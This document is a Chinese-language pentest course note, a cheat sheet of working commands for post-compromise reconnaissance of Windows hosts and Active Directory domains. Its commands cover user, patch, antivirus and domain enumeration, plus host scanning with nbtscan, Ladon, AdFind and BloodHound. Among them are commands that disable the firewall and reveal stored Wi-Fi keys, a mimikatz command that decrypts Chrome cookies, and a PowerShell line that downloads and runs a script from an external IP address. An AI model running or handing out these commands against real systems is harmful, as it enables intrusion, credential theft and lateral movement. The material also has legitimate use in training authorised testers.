#2课时

# 常规信息类收集，应用、服务、权限等

## 用户信息收集

```
查看本机用户列表
net user

获取本地管理员信息
net localgroup administrators

查看当前在线用户
quser
quser user
query user || qwinsta

查看当前用户在目标系统中的具体权限
whoami /all

查看当前权限
whoami && whoami /priv

查看当前机器中所有的组名，了解不同组的职能，如，IT,HR,ADMIN,FILE

net localgroup
```

## 系统信息收集

```
#查询网络配置信息。进行IP地址段信息收集
ipconfig /all

#查询操作系统及软件信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文系统
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" #中文系统

#查看当前系统版本
wmic OS get Caption,CSDVersion,OSArchitecture,Version
#查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%

#查询本机服务信息
wmic service list brief

#查看安装的软件的版本、路径等
wmic product get name, version
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"

#查询进程信息
tasklist
wmic process list brief

#查看启动程序信息
wmic startup get command,caption
```

```
#查看计划任务
at（win10之前）
schtasks /query /fo LIST /v（win10）

#列出或断开本地计算机与所连接的客户端的对话
net session

#查看远程连接信息
cmdkey /l

#查看补丁列表
systeminfo | findstr KB

#查看补丁的名称、描述、ID、安装时间等
wmic qfe get Caption,Description,HotFixID,InstalledOn

#查看杀软
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName
/Format:List

#查看本地密码策略
net accounts

#查看hosts文件：
Linux：cat /etc/hosts
Windows：type c:\Windows\system32\drivers\etc\hosts
```

命令太多可通过windows的批处理脚本，bat文件和vbs文件
wmic_info整合收集：
https://codeload.github.com/Alex-null/wmic_info_gather/
上传至目标执行即可生成out.html文件在下载到本地即可

## 防火墙信息收集

```
#关闭防火墙(Windows Server 2003 以前的版本)
netsh firewall set opmode disable

#关闭防火墙(Windows Server 2003 以后的版本)
netsh advfirewall set allprofiles state off

#查看防火墙配置(netsh命令也可以用作端口转发)
netsh firewall show config

#查看配置规则
netsh advfirewall firewall show rule name=all

#wifi密码
netsh wlan show profile
netsh wlan show profile name="EEFUNG" key=clear
```

## 其他信息收集

```
#回收站内容获取
FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b
```

```
C:\$Recycle.Bin\%d\ ^>%c.txt

cd C:\$Recycle.Bin\S-1-5-21-3845785564-1101086751-683477353-1001\
$I 开头的文件保存的是路径信息
$R 开头的文件保存的是文件内容

#Chrome历史记录和Cookie获取
%localappdata%\google\chrome\USERDA~1\default\LOGIND~1
%localappdata%\google\chrome\USERDA~1\default\cookies

chrome的用户信息，保存在本地文件为sqlite 数据库格式


mimikatz.exe privilege::debug log "dpapi::chrome
/in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit


REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v
ProxyServer

#通过pac文件自动代理情况
REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v
AutoConfigURL

REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v
PortNumber #获取远程端口
```

## 自动信息收集

```
powershell脚本
FTP访问、共享连接、putty连接、驱动、应用程序、hosts 文件、进程、无线网络记录

powershell iex(new-object net.webclient).downloadstring('http://47.115.9.13:8000/Get-
Information.ps1');Get-Information

Nishang-Gather-Get-Information.ps1
https://github.com/samratashok/nishang/blob/master/Gather/Get-Information.ps1
```

## msf自动信息收集

```
#scraper
Meterpreter > run scraper
/root/.msf4/logs/scripts/scraper

#winenum
Meterpreter > run winenum
/root/.msf4/logs/scripts/winenum
```

# 架构信息类收集-网络、用户、域控等

## 网络信息收集

```
#查看本机所有的tcp,udp端口连接及其对应的pid
netstat -ano

#查看本机所有的tcp,udp端口连接,pid及其对应的发起程序
netstat -anob
#查看本机共享列表和可访问的域共享列表 （445端口）
net share
wmic share get name,path,status

#查看路由表和arp缓存
route print
arp -a
```

```
ipconfig /all 通过查询网络信息判断是否在域内
nslookup + dns后缀
whoami /all 用户权限,获取SID
net config workstation 登录信息
net user 本地用户
net localgroup 本地用户组
net user /domain 或 wmic useraccount get /all   获取域用户信息
net group /domain 获取域用户组信息（Enterprise Admins组权限最大）
wmic useraccount get /all 涉及域用户详细信息
net group "Domain Admins" /domain 查询域管理员账户
net group "Enterprise Admins" /domain 查询域系统管理员用户组
net group "Domain Controllers" /domain 查询域控制器
net view /domain:域名      查询域内所有计算机
net group "domain computers" /domain  查询所有域成员列表
net accounts /domain  查看域管理策略
net localgroup administrators /domain 登录本机的域管理员
nslookup -q=ns de1ay.com    查看域内DNS服务器定位域控
```

权限说明

```
Domain Admins : 域管理员组
Domain Computers : 域内机器
Domain Controllers : 域控制器
Domain Guest :  域访客，权限较低
Domain User :  域用户
Enterprise Admins :  企业系统管理员用户
```

## dsquery信息收集

dsquery工具一般在域控上才有,不过你可以上传一个dsquery

```
dsquery computer    查看当前域内的所有机器
dsquery user     查看当前域中的所有账户名
dsquery group     查看当前域内的所有组名
dsquery site    查看域内所有的web站点
dsquery server    查看当前域中的服务器(一般结果只有域控的主机名)
dsquery user domainroot -name admin* -limit 240    查询前240个以admin开头的用户名

nltest /domain_trusts    查询域内信任关系
nltest /DCLIST:xs    查看域控制器的机器名
```

## 探测域内存活主机

### Netbios协议探测

Netbios简介：
IBM公司开发，主要用于数十台计算机的小型局域网。该协议是一种在局域网上的程序可以使用的应用程序编程接口（API），为程序提供了请求低级服务的同一的命令集，作用是为了给局域网提供网络以及其他特殊功能。系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名-———特指基于NETBIOS协议获得计算机名称——解析为相应IP地址，实现信息通讯，所以在局域网内部使用NetBIOS协议可以方便地实现消息通信及资源的共享
Nbtscan
项目地址：http://www.unixwiz.net/tools/nbtscan.html
使用nbtscan扫描本地或远程TCP/IP网络上开放的NetBIOS名称服务器
输出的结果第一列为IP地址，第二列为机器名和所在域的名称，第三列即最后一列为及其所开启的服务的列表

```
Windows:  nbtscan.exe -m 10.10.10.0/24 nbtstat -n
Linux:  nbtscan -r 10.10.10.0/24
```

# 工具信息收集LadanGO、Adfind

## 3.工具使用Ladongo

```
https://github.com/k8gege/Ladon
001 多协议探测存活主机 （IP、机器名、MAC地址、制造商）
Ladon 192.168.1.8/24 OnlinePC

002 多协议识别操作系统 （IP、机器名、操作系统版本、开放服务）
Ladon 192.168.1.8/24 OsScan

003 扫描存活主机
Ladon 192.168.1.8/24 OnlineIP

004 ICMP扫描存活主机
Ladon 192.168.1.8/24 Ping

005 扫描SMB漏洞MS17010 （IP、机器名、漏洞编号、操作系统版本）
Ladon 192.168.1.8/24 MS17010

006 SMBGhost漏洞检测 CVE-2020-0796 （IP、机器名、漏洞编号、操作系统版本）
Ladon 192.168.1.8/24 SMBGhost
下载地址
https://github.com/k8gege/LadonGo
```

## 4.工具使用之Adfind

列出域控制器名称：
AdFind -sc dclist
查询当前域中在线的计算机：
AdFind -sc computers_active
查询当前域中在线的计算机(只显示名称和操作系统)：
AdFind -sc computers_active name operatingSystem
查询当前域中所有计算机：
AdFind -f "objectcategory=computer"
查询当前域中所有计算机(只显示名称和操作系统)：
AdFind -f "objectcategory=computer" name operatingSystem
查询域内所有用户：
AdFind -users name
查询所有GPO：
AdFind -sc gpodmp
下载地址
http://www.joeware.net/freetools/tools/adfind/index.htm

# 5.BloodHound域分析使用

安装&使用：http://cn-sec.com/archives/146548.html
1、启动neo4j neo4j.bat console
2、启动BloodHound BloodHound.exe
3、运行程序后将生成数据导入，筛选查看